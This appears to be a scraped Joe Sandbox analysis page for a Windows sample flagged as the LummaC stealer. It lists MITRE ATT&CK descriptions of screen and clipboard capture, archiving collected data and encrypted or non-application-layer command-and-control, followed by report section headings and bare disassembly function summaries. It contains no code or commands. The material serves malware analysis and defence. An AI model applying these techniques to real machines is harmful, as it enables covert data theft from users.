Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 02D1F713 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 218
COMMON

Function 02CF9E70 Relevance: 7.9, Strings: 6, Instructions: 418
COMMON

Function 02D16644 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 667
COMMON

Function 02D16647 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 655
COMMON

Function 02D15F0E Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 616
COMMON

Function 02CFAB00 Relevance: 6.7, Strings: 5, Instructions: 471
COMMON

Function 02D0D343 Relevance: 6.5, APIs: 4, Instructions: 493
COMMON

Function 02CF4BB0 Relevance: 5.5, Strings: 4, Instructions: 472
COMMON

Function 02D1A923 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 80
memoryCOMMON

Function 02D0DF00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 156
COMMON

Function 02D051C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157
COMMON

Function 02CF9390 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre